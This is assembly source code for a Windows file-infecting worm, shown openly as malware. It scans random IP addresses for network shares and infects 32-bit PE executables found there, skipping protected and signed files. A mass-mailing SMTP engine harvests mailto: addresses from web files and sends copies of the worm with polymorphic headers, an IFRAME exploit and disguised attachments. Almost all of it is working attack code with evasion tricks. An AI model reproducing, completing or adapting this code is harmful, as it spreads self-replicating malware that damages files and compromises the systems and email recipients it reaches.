;thread 3: find files on random IP address shares using non-recursive algorithm
;(alter class A: 25%, class b: 25%, class c: 25%, class d: scan all)
;-----------------------------------------------------------------------------

        call    cGetVersion
        test    eax, eax
        mov     eax, 'aten'
        mov     ecx, '23ip'                     ;"netapi32" (NT/2000/XP)
        jns     ip_loaddll
        mov     eax, 'arvs'
        movzx   ecx, cx                         ;"svrapi" (9x/Me)

ip_loaddll      label   near
        pushfd
        push    0
        push    ecx
        push    eax
        push    esp
        call    cLoadLibraryA
        add     esp, 0ch
        popfd
        jns     ip_getprocnt
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

ip9xcrcbegin    label   near                    ;place < 80h bytes from call for smaller code
        dd      (ip9xcrc_count + 1) dup (0)
ip9xcrcend      label   near
        dd      offset ip_share - offset ip9xcrcend + 4

ip_getprocnt    label   near
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

ipntcrcbegin    label   near                    ;place < 80h bytes from call for smaller code
        dd      (ipntcrc_count + 1) dup (0)
ipntcrcend      label   near
        dd      offset ip_share - offset ipntcrcend + 4

ip_share        label   near
        call    random
        xchg    ebp, eax                        ;initial IP address

find_ip         proc    near
        call    random
        and     al, 18h
        je      find_ip                         ;select class A-C only
        xchg    ecx, eax
        xor     eax, eax
        mov     al, 0ffh
        shl     eax, cl                         ;select random class
        and     ecx, eax                        ;isolate new class
        not     eax
        and     ebx, eax                        ;remove old class
        or      ebx, ecx                        ;insert new class

ip_save         label   near
        push    ebx
        bswap   ebx
        enter   34h, 0                          ;size of Unicode '\\' + Unicode IP address + '\' + ANSI sharename
        lea     edi, dword ptr [ebp - 0eh]      ;size of '\' + ANSI sharename
        call    cGetVersion
        shr     eax, 1fh                        ;0 if Unicode, 1 if ANSI
        xchg    esi, eax
        xor     al, al
        mov     cl, 0ah
        std
        stos    byte ptr [edi]
        mov     edx, edi
        stos    byte ptr [edi]                  ;store Unicode sentinel
        stos    byte ptr [edi]                  ;store Unicode half-character
        add     edi, esi                        ;remove character if ANSI

;-----------------------------------------------------------------------------
;convert IP address to string (ANSI or Unicode)
;-----------------------------------------------------------------------------

ip_shift        label   near
        xor     eax, eax
        shld    eax, ebx, 8

ip_hex2dec      label   near
        div     cl
        xchg    ah, al
        add     al, '0'
        stos    byte ptr [edi]
        xor     al, al
        stos    byte ptr [edi]                  ;store Unicode half-character
        add     edi, esi                        ;remove character if ANSI
        shr     eax, 8
        jne     ip_hex2dec
        mov     al, '.'
        stos    byte ptr [edi]
        xor     al, al
        stos    byte ptr [edi]                  ;store Unicode half-character
        add     edi, esi                        ;remove character if ANSI
        shl     ebx, 8
        jne     ip_shift
        cld
        push    edi
        mov     al, '\'
        stos    byte ptr [edi]
        inc     edi                             ;include Unicode half-character
        sub     edi, esi                        ;remove character if ANSI
        stos    byte ptr [edi]                  ;store '\\' in ANSI or Unicode
        pop     edi
        test    esi, esi
        je      ip_sharent

;-----------------------------------------------------------------------------
;enumerate shares on IP address (9x/Me platform)
;-----------------------------------------------------------------------------

        push    ebx
        mov     eax, esp
        push    ebx
        push    esp
        push    eax
        push    ebx                             ;too small size returns needed size
        push    ebx
        push    1
        push    edi
        mov     ebx, edi
        mov     edi, edx
        call    dword ptr [esp + 44h + ip9xcrcstk.ip9xNetShareEnum + 18h]
        pop     ecx
        pop     esi
        sub     al, ERROR_MORE_DATA
        jne     ip_restore
        imul    esi, ecx, size share_info_19x + 50
                                                ;include size of optional remark
        push    esi
        push    eax                             ;GMEM_FIXED
        call    cGlobalAlloc
        cdq
        xchg    ecx, eax
        jecxz   ip_restore
        push    ecx                             ;GlobalFree
        push    edx
        mov     eax, esp
        push    edx
        push    esp
        push    eax
        push    esi
        push    ecx
        push    1
        push    ebx
        mov     esi, ecx
        call    dword ptr [esp + 48h + ip9xcrcstk.ip9xNetShareEnum + 18h]
        pop     ecx
        pop     ecx
        mov     al, '\'
        stos    byte ptr [edi]

ip_next9x       label   near
        push    ecx
        push    edi
        movs    dword ptr [edi], dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]
        movs    dword ptr [edi], dword ptr [esi]
        movs    byte ptr [edi], byte ptr [esi]  ;attach sharename
        pop     edi
        push    ebx
        call    cSetCurrentDirectoryA
        xchg    ecx, eax
        jecxz   ip_skip9x

        ;I dream of rain, I live my years under an open sky

        call    find_files

ip_skip9x       label   near
        add     esi, size share_info_19x - share_info_19x.shi1_pad1
        pop     ecx
        loop    ip_next9x

ip_free9x       label   near
        call    cGlobalFree

ip_restore      label   near
        leave
        pop     ebx
        inc     bl
        jne     ip_save
        push    120 * 60 * 1000                 ;2 hours
        call    cSleep
        jmp     find_ip

ip_sharent      label   near

;-----------------------------------------------------------------------------
;enumerate shares on IP address (NT/2000/XP platform)
;-----------------------------------------------------------------------------

        push    eax
        mov     eax, esp
        push    eax
        mov     ecx, esp
        push    ebx
        push    esp
        push    eax
        push    MAX_PREFERRED_LENGTH
        push    ecx
        push    1
        push    edi
        call    dword ptr [esp + 44h + ipntcrcstk.ipntNetShareEnum + 1ch]
        test    eax, eax
        pop     esi
        pop     ebx
        push    esi                             ;NetApiBufferFree
        jne     ip_freent

ip_nextnt       label   near
        push    esi
        lods    dword ptr [esi]
        push    eax
        xchg    esi, eax
        xor     eax, eax                        ;lstrlenW
        call    store_krnapi
        lea     eax, dword ptr [eax + eax + 26h]
                                                ;include size of Unicode '\\' + Unicode IP address + Unicode '\'
        push    eax
        push    GMEM_FIXED
        call    cGlobalAlloc
        xchg    ecx, eax
        jecxz   ip_freent
        push    ecx                             ;GlobalFree
        push    ecx                             ;SetCurrentDirectoryW
        push    esi                             ;lstrcatW
        push    ecx                             ;lstrcatW
        push    '\'
        push    esp                             ;lstrcatW
        push    ecx                             ;lstrcatW
        push    edi
        push    ecx
        push    (krncrcstk.klstrcpyW - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi                    ;copy IP address
        call    clstrcatW                       ;attach '\'
        pop     eax
        call    clstrcatW                       ;attach sharename
        push    (krncrcstk.kSetCurrentDirectoryW - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        xchg    esi, eax
        call    cGlobalFree
        test    esi, esi
        je      ip_skipnt

        ;when you look into the abyss, the abyss looks back at you

        call    find_files

ip_skipnt       label   near
        pop     esi
        add     esi, size share_info_1nt
        dec     ebx
        jne     ip_nextnt

ip_freent       label   near
        call    dword ptr [esp + 3ch + ipntcrcstk.ipntNetApiBufferFree + 4]
        jmp     ip_restore
find_ip         endp

create_thr3     label   near
        push    esi
        push    esi
        call    cCreateThread

;-----------------------------------------------------------------------------
;thread 4: send email to last mailto: address found.  slow mailer
;-----------------------------------------------------------------------------

        push    "23"
        push    "_2sw"
        push    esp
        call    cLoadLibraryA
        pop     ecx
        pop     ecx
        test    eax, eax
        jne     found_ws2
        push    "23k"
        push    "cosw"
        push    esp
        call    cLoadLibraryA
        pop     ecx
        pop     ecx

found_ws2       label   near
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

ws2crcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (ws2crc_count + 1) dup (0)
ws2crcend       label   near
        dd      offset wsock_init - offset ws2crcend + 4

wsock_init      label   near
        mov     ebx, esp
        enter   (size WSADATA + 3) and -4, 0
        push    esp
        push    1
        call    dword ptr [ebx + ws2crcstk.wWSAStartup]
        leave
        pop     eax
        pop     dword ptr ds:[offset store_send - offset junkmail_inf + expsize + 401001h]
        push    PF_NS
        push    SOCK_STREAM
        push    AF_INET
        call    eax
        mov     dword ptr ds:[offset store_socket - offset junkmail_inf + expsize + 401001h], eax
        xchg    ebp, eax

send_email      label   near
        push    240 * 60 * 1000                 ;4 hours
        call    cSleep
        mov     ebx, esp
        push    ebp
        push    10000h                          ;message buffer
        push    GMEM_FIXED
        call    cGlobalAlloc
        push    eax                             ;GlobalFree
        xchg    edi, eax
        mov     esi, offset email_block - offset junkmail_inf + expsize + 401000h
        push    ebx
        push    ebp
        call    decompmain                      ;smtp1 ("HELO ")
        pop     ebp
        pop     ebx
        push    esi
        mov     esi, offset mail_recip - offset junkmail_inf + expsize + 401000h

find_smtp       label   near
        lods    byte ptr [esi]
        cmp     al, '@'
        je      store_smtp
        or      al, 5
        cmp     al, "'"
        jne     find_smtp
        pop     eax

branch_skip     label   near
        jmp     skip_send

store_smtp      label   near
        mov     ecx, edi
        mov     eax, "ptms"
        stos    dword ptr [edi]
        mov     al, '.'
        stos    byte ptr [edi]

copy_smtp       label   near
        lods    byte ptr [esi]
        stos    byte ptr [edi]
        or      al, 5
        sub     al, "'"
        jne     copy_smtp
        pop     esi
        dec     edi
        mov     byte ptr [edi], al
        push    ecx
        call    dword ptr [ebx - 8 + ws2crcstk.wgethostbyname]
        xchg    ecx, eax
        jecxz   branch_skip

;-----------------------------------------------------------------------------
;create and initialise sockaddr_in structure
;-----------------------------------------------------------------------------

        push    0
        push    0
        push    dword ptr [ecx + hostent.h_addr_list]
        push    (1900h shl 10h) + AF_INET
        mov     eax, esp
        push    size sockaddr_in
        push    eax
        push    ebp
        call    dword ptr [ebx - 8 + ws2crcstk.wconnect]
        add     esp, size sockaddr_in
        call    store_crlf
        call    senddata

;-----------------------------------------------------------------------------
;SMTP client engine by RT Fishel
;polymorphic headers (random comment insertion)
;random subject constructed from word list
;random message body constructed from word list
;multiple exploit attachment
;variable attachment file format (.bat text, .com, MZ exe, .shs OLE2, unreg OLE2)
;-----------------------------------------------------------------------------

        call    decompmain                      ;smtp2 ("MAIL FROM:<>")
        call    senddata
        call    decompmain                      ;smtp3 ("RCPT TO:")
        push    esi
        mov     esi, offset mail_recip - offset junkmail_inf + expsize + 401000h

copy_recip      label   near
        lods    byte ptr [esi]
        stos    byte ptr [edi]
        or      al, 5
        cmp     al, "'"
        jne     copy_recip
        pop     esi
        dec     edi
        call    store_crlf
        call    senddata
        call    decompmain                      ;smtp4 ("DATA")
        call    senddata
        call    decompmain                      ;header1 ("FROM:")
        call    randword
        call    decompmain                      ;header2 ("SUBJECT:")
        call    decomprand
        call    randword
        dec     edi
        dec     edi
        call    decompcmap                      ;header31 ("MIME-Version")
        xor     ebp, ebp
        call    decompcomcr                     ;header32 (":1.0")
        call    decompcmap                      ;part11 ("Content-Type:")
        push    offset part12 - offset part11 - 3
        pop     ebp
        call    decompcomcr                     ;part12 ("multipart/mixed;")
        xor     ebp, ebp
        call    decompcomnt                     ;part13 (" boundary=")
        push    edi
        call    randword                        ;boundary
        call    store_crlf
        mov     eax, edi
        pop     ecx
        push    ecx                             ;boundary pointer
        sub     eax, ecx
        sub     eax, 4
        push    eax                             ;boundary length
        call    randlines
        pop     eax
        pop     ecx
        push    ecx
        push    eax
        call    bound_copy                      ;boundary
        dec     edi
        dec     edi
        mov     eax, (0a0dh shl 10h) + '--'
        stos    dword ptr [edi]                 ;end of message ;)
        stos    word ptr [edi]
        pop     eax
        pop     ecx
        push    ecx
        push    eax
        call    bound_copy                      ;--boundary
        call    decompmain                      ;body1 ("I received this file...")
        call    decomptype                      ;content-type
        call    decompcmap                      ;part22 ("Content-Transfer-Encoding:")
        call    decompcomnt                     ;part23 ("quoted-printable")
        push    edi
        call    decompmain                      ;part24 ("<IFRAME...")
        pop     eax
        call    formoctet
        call    decomptype                      ;content-type
        push    edi
        call    decompmain                      ;part31 (" name=email.")
        call    decomprand
        call    decompmain                      ;suffix2
        pop     eax
        pop     edx
        pop     ecx
        push    dword ptr [edi - 3]             ;save suffix before morph
        push    ecx
        push    edx
        push    esi
        push    71
        pop     ebp
        inc     eax
        inc     eax
        inc     eax
        call    decompname                      ;morph " name=email.xxx.yyy"

patch_encode    label   near
        mov     esi, 'RTF!'
        call    decompcmap                      ;content-encoding
        xchg    esi, eax
        pop     esi
        push    eax
        push    edi
        push    ebp
        call    decompcomnt                     ;part32 ("base64")
        pop     ebp
        pop     eax
        pop     ecx
        mov     dl, byte ptr [esp + 8]
        sub     dl, 'B'                         ;.bat
        cmp     dl, 1                           ;.com
        jnbe    decode_cid
        jne     decode_bat
        push    eax
        call    random                          ;randomly DOS or Windows file
        test    al, 1
        pop     eax
        jne     decode_cid

decode_bat      label   near
        pushfd
        xchg    edi, eax
        push    esi
        mov     esi, ecx
        call    decompcomnt                     ;part23 ("quoted-printable")
        pop     esi
        popfd
        mov     byte ptr ds:[offset b64encode - offset junkmail_inf + expsize + 401001h], cl
                                                ;disable crlf for bat/com base64
decode_cid      label   near
        pushfd
        call    decompcmap                      ;part33 ("Content-ID:")
        push    offset part34 - offset part33 - 3
        pop     ebp
        call    decompcomcr                     ;part34 (ourcid)
        call    store_crlf
        push    edi
        call    decompmain                      ;batdrop1
        pop     eax
        popfd
        pushfd
        push    eax
        push    esi
        jbe     encode_body
        xchg    edi, eax

encode_body     label   near
        xor     ebp, ebp
        push    ebp                             ;CreateFileA
        push    ebp                             ;CreateFileA
        push    OPEN_EXISTING                   ;CreateFileA
        push    ebp                             ;CreateFileA
        push    FILE_SHARE_READ                 ;CreateFileA
        push    GENERIC_READ                    ;CreateFileA
        push    edi                             ;CreateFileA
        push    7fh
        push    edi
        push    ebp
        push    (krncrcstk.kGetModuleFileNameA - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        push    (krncrcstk.kCreateFileA - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        push    ebp
        push    eax
        xchg    ebx, eax
        push    (krncrcstk.kGetFileSize - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        mov     esi, scrapsize
        lea     ecx, dword ptr [esi * 2 + eax]  ;less code than "offset part37 - offset unregdrop1"
                                                ;include scrap header size, and unregistered tail
        xchg    ebp, eax
        push    ecx
        push    GMEM_ZEROINIT
        call    cGlobalAlloc
        push    eax                             ;GlobalFree
        push    ebx                             ;CloseHandle
        push    eax
        push    esp
        push    ebp
        lea     ecx, dword ptr [eax + esi]      ;allow space for scrap header
        push    ecx
        push    ebx
        xchg    ebx, eax
        push    (krncrcstk.kReadFile - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        call    cCloseHandle
        mov     al, byte ptr [esp + 19h]
        cmp     al, 'H'                         ;.shs
        je      decomp_scr                      ;cannot check first character because of .scr
        cmp     al, '!'                         ;.!!!
        jne     encode_exe

decomp_scr      label   near
        push    eax
        call    decompscrap
        pop     eax
        cmp     al, '!'                         ;.!!!
        jne     encode_exe
        push    ebx
        push    ebp
        push    edi

patch_unreg     label   near
        mov     esi, 'rgb!'
        lea     edi, dword ptr [ebp + ebx]
        call    decompmain
        pop     edi
        pop     ebp
        pop     ebx

if (offset part37 - offset unregdrop1) gt 255

        add     ebp, offset part37 - offset unregdrop1

else

        mov     cl, offset part37 - offset unregdrop1
        add     ebp, ecx

endif

        xchg    esi, eax

encode_exe      label   near
        add     esi, ebx
        call    b64encode
        call    cGlobalFree
        pop     esi
        push    edi
        call    decompmain                      ;batdrop3
        xchg    edi, eax
        pop     edi
        pop     ebx
        popfd
        jnbe    decode_tail
        xchg    edi, eax
        xchg    ebx, eax
        call    formoctet
        mov     byte ptr ds:[offset b64encode - offset junkmail_inf + expsize + 401001h], (76 shr 2) + 1
                                                ;enable crlf base64 again
decode_tail     label   near
        mov     eax, ('--' shl 10h) + 0a0dh
        stos    dword ptr [edi]
        pop     eax
        pop     ecx
        pop     edx
        call    bound_copy
        call    randlines
        call    decompmain                      ;part35
        call    senddata
        call    decompmain                      ;part36
        call    senddata

skip_send       label   near
        call    cGlobalFree
        pop     ebp
        jmp     send_email

email_block     label   near
include email.inc

;-----------------------------------------------------------------------------
;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura
;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence
;asm port and size optimise by rgb in 2002
;-----------------------------------------------------------------------------

randinit        proc    near                    ;eax = seed, ecx = 0, edi -> RNG cache
        pushad
        push    edi
        or      eax, 1
        mov     cx, statelen

init_loop       label   near
        stos    dword ptr [edi]
        mov     edx, 69069
        mul     edx                             ;Knuth: x_new = x_old * 69069
        loop    init_loop
        inc     ecx                             ;force reload
        call    initdelta

initdelta       label   near
        pop     edi
        add     edi, offset randvars - offset initdelta
        xchg    ecx, eax
        stos    dword ptr [edi]
        pop     eax
        stos    dword ptr [edi]
        stos    dword ptr [edi]
        popad
        ret
randinit        endp

random          proc    near
        pushad
        call    randelta

randvars        label   near
        db      'rgb!'                          ;numbers left
        db      'rgb!'                          ;next pointer
        db      'rgb!'                          ;state pointer

randelta        label   near
        pop     esi
        push    esi
        lods    dword ptr [esi]
        xchg    ecx, eax
        lods    dword ptr [esi]
        xchg    esi, eax
        loop    random_ret
        mov     cx, statelen - period
        mov     esi, dword ptr [eax]
        lea     ebx, dword ptr [esi + (period * 4)]
        mov     edi, esi
        push    esi
        lods    dword ptr [esi]
        xchg    edx, eax
        call    twist
        pop     ebx
        mov     cx, period - 1
        push    ecx
        push    ebx
        call    twist
        pop     esi
        push    esi
        inc     ecx
        call    twist
        xchg    edx, eax
        pop     esi
        pop     ecx
        inc     ecx

random_ret      label   near
        lods    dword ptr [esi]
        mov     edx, eax
        shr     eax, tshiftU
        xor     eax, edx
        mov     edx, eax
        shl     eax, tshiftS
        and     eax, tmaskB
        xor     eax, edx
        mov     edx, eax
        shl     eax, tshiftT
        and     eax, tmaskC
        xor     eax, edx
        mov     edx, eax
        shr     eax, tshiftL
        xor     eax, edx
        pop     edi
        mov     dword ptr [esp + 1ch], eax      ;eax in pushad
        xchg    ecx, eax
        stos    dword ptr [edi]
        xchg    esi, eax
        stos    dword ptr [edi]
        popad
        ret
random          endp

twist           proc    near
        lods    dword ptr [esi]
        push    eax
        add     eax, eax                        ;remove highest bit
        add     edx, edx                        ;test highest bit
        rcr     eax, 2                          ;merge bits and test lowest bit
        jnb     twist_skip                      ;remove branch but larger using:
        xor     eax, matrixA                    ;sbb edx, edx+and edx, matrixA+xor eax, edx

twist_skip      label   near
        xor     eax, dword ptr [ebx]
        add     ebx, 4
        stos    dword ptr [edi]
        pop     edx
        loop    twist
        ret
twist           endp

senddata        proc    near
        pop     ecx
        pop     eax
        push    eax
        push    0
        sub     edi, eax
        push    edi
        push    eax

store_socket    label   near
        push    "!bgr"
        push    ecx
        xchg    edi, eax

store_send      label   near
        push    "!bgr"
        ret
senddata        endp

;-----------------------------------------------------------------------------
;non-recursive directory traverser
;-----------------------------------------------------------------------------

find_files      proc    near
        pushad
        push    size findlist
        push    GMEM_ZEROINIT
        call    cGlobalAlloc
        test    eax, eax
        je      file_exit
        xchg    esi, eax
        call    get_krnapis

file_first      label   near
        push    '*'                             ;ANSI-compatible Unicode findmask
        mov     eax, esp
        lea     ebx, dword ptr [esi + findlist.finddata]
        push    ebx
        push    eax
        call    dword ptr [ebp + krncrcstk.kFindFirstFileW]
        pop     ecx
        mov     dword ptr [esi + findlist.findhand], eax
        inc     eax
        je      file_prev

        ;you must always step forward from where you stand

test_dirfile    label   near
        mov     eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
        lea     edi, dword ptr [esi + findlist.finddata.cFileName]
        test    al, FILE_ATTRIBUTE_DIRECTORY
        je      test_file
        cmp     byte ptr [edi], '.'             ;ignore . and .. (but also .* directories under NT/2000/XP)
        je      file_next

;-----------------------------------------------------------------------------
;enter subdirectory, and allocate another list node
;-----------------------------------------------------------------------------

        push    edi
        call    dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
        xchg    ecx, eax
        jecxz   file_next
        push    size findlist
        push    GMEM_FIXED
        call    cGlobalAlloc
        xchg    ecx, eax
        jecxz   step_updir
        xchg    esi, ecx
        mov     dword ptr [esi + findlist.findprev], ecx
        jmp     file_first

file_exit       label   near
        popad
        ret

file_next       label   near
        lea     ebx, dword ptr [esi + findlist.finddata]
        push    ebx
        mov     edi, dword ptr [esi + findlist.findhand]
        push    edi
        call    dword ptr [ebp + krncrcstk.kFindNextFileW]
        test    eax, eax
        jne     test_dirfile

;-----------------------------------------------------------------------------
;close find, and free list node
;-----------------------------------------------------------------------------

        push    edi
        mov     al, (krncrcstk.kFindClose - krncrcstk.klstrlenW) shr 2
        call    store_krnapi

file_prev       label   near
        push    esi
        mov     esi, dword ptr [esi + findlist.findprev]
        call    cGlobalFree
        test    esi, esi
        je      file_exit

step_updir      label   near

;-----------------------------------------------------------------------------
;the ANSI string ".." can be used, even on Unicode platforms
;-----------------------------------------------------------------------------

        push    '..'
        push    esp
        call    cSetCurrentDirectoryA
        pop     eax
        jmp     file_next

test_file       label   near

;-----------------------------------------------------------------------------
;get full path and convert to Unicode if required (SFC requires Unicode path)
;-----------------------------------------------------------------------------

        push    eax                             ;save original file attributes for close
        mov     eax, ebp
        enter   MAX_PATH * 2, 0
        mov     ecx, esp
        push    eax
        push    esp
        push    ecx
        push    MAX_PATH
        push    edi
        call    dword ptr [eax + krncrcstk.kGetFullPathNameW]
        xchg    edi, eax
        pop     eax
        xor     ebx, ebx
        call    cGetVersion
        test    eax, eax
        jns     store_sfcapi
        mov     ecx, esp
        xchg    ebp, eax
        enter   MAX_PATH * 2, 0
        xchg    ebp, eax
        mov     eax, esp
        push    MAX_PATH
        push    eax
        inc     edi
        push    edi
        push    ecx
        push    ebx                             ;use default translation
        push    ebx                             ;CP_ANSI
        push    (krncrcstk.kMultiByteToWideChar - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi

store_sfcapi    label   near

;-----------------------------------------------------------------------------
;don't touch protected files
;-----------------------------------------------------------------------------

        mov     ecx, '!bgr'                     ;SfcIsFileProtected
        xor     eax, eax                        ;fake success in case of no SFC
        jecxz   leave_sfc
        push    esp
        push    ebx
        call    ecx

leave_sfc       label   near
        leave
        test    eax, eax
        jne     restore_attr
        call    set_fileattr
        push    ebx
        push    ebx                             ;attribute ignored for existing files
        push    OPEN_EXISTING
        push    ebx
        push    ebx
        push    GENERIC_READ or GENERIC_WRITE
        push    edi
        call    dword ptr [ebp + krncrcstk.kCreateFileW]
        xchg    ebx, eax
        call    test_infect
        db      81h                             ;mask CALL
        call    infect_file                     ;Super Nashwan power ;)
        lea     eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
        push    eax
        sub     eax, 8
        push    eax
        push    0
        push    ebx
        push    (krncrcstk.kSetFileTime - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        push    ebx
        call    cCloseHandle

restore_attr    label   near
        pop     ebx                             ;restore original file attributes
        call    set_fileattr
        jmp     file_next
find_files      endp

;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------

is_pehdr        proc    near                    ;edi -> map view
        cmp     word ptr [edi], 'ZM'            ;Windows does not check 'MZ'
        jne     pehdr_ret
        mov     esi, dword ptr [edi + mzhdr.mzlfanew]
        add     esi, edi
        lods    dword ptr [esi]                 ;SEH protects against bad lfanew value
        add     eax, -'EP'                      ;anti-heuristic test filetype ;) and clear EAX

pehdr_ret       label   near
        ret                                     ;if PE file, then eax = 0, esi -> COFF header, Z flag set
is_pehdr        endp

;-----------------------------------------------------------------------------
;reset/set read-only file attribute
;-----------------------------------------------------------------------------

set_fileattr    proc    near                    ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
        push    ebx
        lea     edi, dword ptr [esi + findlist.finddata.cFileName]
        push    edi
        call    dword ptr [ebp + krncrcstk.kSetFileAttributesW]
        ret                                     ;edi -> filename
        db      "07/06/05"
set_fileattr    endp

;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
;-----------------------------------------------------------------------------

test_infect     proc    near                    ;esi = find data, edi = map view, ebp -> platform APIs
        call    map_view
        mov     ebp, esi
        call    is_pehdr
        jne     inftest_name
        lods    dword ptr [esi]
        cmp     ax, IMAGE_FILE_MACHINE_I386
        jne     inftest_ret                     ;only Intel 386+
        shr     eax, 0dh                        ;move high 16 bits into low 16 bits and multiply by 8
        lea     edx, dword ptr [eax * 4 + eax]  ;complete multiply by 28h (size pesect)
        mov     eax, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]

;-----------------------------------------------------------------------------
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
;no .dll files this time
;-----------------------------------------------------------------------------

        test    ah, (IMAGE_FILE_SYSTEM or IMAGE_FILE_DLL or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
        jne     inftest_ret

;-----------------------------------------------------------------------------
;32-bit executable file...
;-----------------------------------------------------------------------------

        and     ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
        cmp     ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
        jne     inftest_ret                     ;cannot use xor+jpo because 0 is also jpe

;-----------------------------------------------------------------------------
;the COFF magic value is not checked because Windows ignores it anyway
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
;-----------------------------------------------------------------------------

        add     esi, pehdr.pesubsys - pehdr.pecoff.petimedate
        lods    dword ptr [esi]
        cmp     ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
        jnbe    inftest_ret
        cmp     al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
        jb      inftest_ret
        shr     eax, 1eh                        ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
        jb      inftest_ret

;-----------------------------------------------------------------------------
;avoid files which seem to contain attribute certificates
;because one of those certificates might be a digital signature
;-----------------------------------------------------------------------------

        cmp     dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pestackmax], eax
        jnbe    inftest_ret

;-----------------------------------------------------------------------------
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
;the Optional Header can be larger than the offset of the last directory
;remember: even if you have not seen it does not mean that it does not happen :)
;-----------------------------------------------------------------------------

        movzx   eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pestackmax]
        add     eax, edx
        mov     ebx, dword ptr [esi + pehdr.pefilealign - pehdr.pestackmax]
        lea     esi, dword ptr [esi + eax - pehdr.pestackmax + pehdr.pemagic - size pesect + pesect.sectrawsize]
        lods    dword ptr [esi]
        add     eax, dword ptr [esi]
        cmp     dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax
        jne     inftest_ret                     ;file contains appended data
        add     dword ptr [ebp + findlist.finddata.dwFileSizeLow], ebx
        inc     dword ptr [esp + mapsehstk.mapsehinfret]
                                                ;skip call mask

inftest_ret     label   near
        int     3

;-----------------------------------------------------------------------------
;if suffix is any of .asp, .cfm, .css, .jsp, .[?]php* .[?]htm*
;then search for "mailto:" and save address if '@' is found
;-----------------------------------------------------------------------------

inftest_name    label   near
        call    cGetVersion
        shr     eax, 1fh
        dec     ax
        mov     al, 0ffh
        xchg    ebx, eax
        lea     eax, dword ptr [ebp + findlist.finddata.cFileName]

store_charnext  label   near
        mov     esi, "!bgr"

find_suffix     label   near
        push    eax
        call    esi
        mov     ecx, dword ptr [eax]
        and     ecx, ebx
        je      inftest_ret
        cmp     ecx, '.'
        jne     find_suffix                     ;support only one suffix
        mov     cl, 4
        push    edi

get_suffix      label   near
        push    ecx
        push    eax
        call    esi
        pop     ecx
        mov     edx, dword ptr [eax]
        test    dh, bh
        jne     inftest_ret                     ;Unicode character
        or      dl, ' '                         ;convert to lowercase
        shrd    edi, edx, 8
        loop    get_suffix
        xchg    edi, eax
        cmp     eax, " psa"                     ;.asp
        je      found_text
        cmp     eax, " mfc"                     ;.cfm
        je      found_text
        cmp     eax, " ssc"                     ;.css
        je      found_text
        cmp     eax, " psj"                     ;.jsp
        je      found_text
        cmp     al, 'p'
        je      and_suffix
        cmp     al, 'h'
        je      and_suffix
        shr     eax, 8                          ;skip first character

and_suffix      label   near
        shl     eax, 8
        cmp     eax, "php" shl 8                ;.[?]php
        je      found_text
        cmp     eax, "mth" shl 8                ;.[?]htm
        jne     inftest_ret

found_text      label   near
        pop     edi
        dec     ecx                             ;page fault exit if no mailto:

find_mailto     label   near
        mov     al, 'm'
        repne   scas byte ptr [edi]
        jne     inftest_ret
        cmp     dword ptr [edi], "tlia"
        jne     find_mailto
        cmp     word ptr [edi + 4], ":o"
        jne     find_mailto
        cdq
        lea     esi, dword ptr [edi + 6]
        mov     ebp, esi

find_mailend    label   near
        lods    byte ptr [esi]
        cmp     al, '@'
        jne     skip_at
        inc     edx

skip_at         label   near
        or      al, 5                           ;" -> '
        cmp     al, "'"
        jne     find_mailend
        dec     edx
        jne     mailtest_ret                    ;too few or too many '@'s
        mov     ecx, esi
        dec     esi
        sub     ecx, ebp
        lea     edi, dword ptr [ecx + offset mail_recip - offset junkmail_inf + expsize + 400fffh]

;-----------------------------------------------------------------------------
;no thread sync because EnterCriticalSection is forwarded in NT/2000/XP
;and my import resolver doesn't support forwarded imports
;the solution is to write in reverse direction which avoids crash
;-----------------------------------------------------------------------------

        std
        rep     movs byte ptr [edi], byte ptr [esi]
        cld

mailtest_ret    label   near
        int     3

decomptest      proc    near
        push    1
        pop     ebp
        push    ebp
        btr     eax, 7
        jnb     decompcall
        xchg    ebp, eax
        pop     eax
        call    random
        xor     edx, edx
        div     ebp
        sub     ebp, edx
        push    ebp
        lea     ebp, dword ptr [edx + 1]
        xchg    edi, eax

decompfirst     label   near
        xchg    edi, eax
        lods    byte ptr [esi]

decompcall      label   near
        push    edi
        call    decompress
        pop     eax
        dec     ebp
        jne     decompfirst
        jmp     decompmulti

decomplast      label   near
        push    ecx
        push    edi
        lods    byte ptr [esi]
        call    decompress
        pop     edi

decompmulti     label   near
        pop     ecx
        loop    decomplast

decompmain      label   near
